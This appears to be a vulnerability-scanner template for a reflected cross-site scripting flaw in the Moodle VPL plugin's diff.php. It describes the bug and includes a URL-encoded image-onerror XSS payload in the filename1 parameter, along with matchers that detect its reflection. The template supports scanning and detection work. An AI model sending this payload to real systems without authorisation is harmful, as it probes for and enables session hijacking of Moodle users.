id: CVE-2026-113683

info:
  name: "Moodle VPL - Cross-Site Scripting"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    VPL (Virtual Programming Lab) for Moodle before 5.0.0 contains a reflected cross-site
    scripting vulnerability in similarity/diff.php. The similarity comparison reads the
    filename1 and filename2 request parameters with required_param(..., PARAM_RAW) and appends
    their values directly into the page's HTML header without HTML-encoding, so an attacker who
    lures a user holding the mod/vpl:similarity capability to a crafted diff.php link can run
    arbitrary JavaScript in that user's authenticated session.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-113683&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=moodle&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2026-113683
    cwe-id: CWE-79
  metadata:
    verified: false
  tags: cve,cve2026,moodle,vpl,xss
http:
  - method: GET
    path:
      - "{{BaseURL}}/mod/vpl/similarity/diff.php?id=1&filename1=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(vedasxss113683)%3E&filename2=b"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><img src=x onerror=alert(vedasxss113683)>'

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200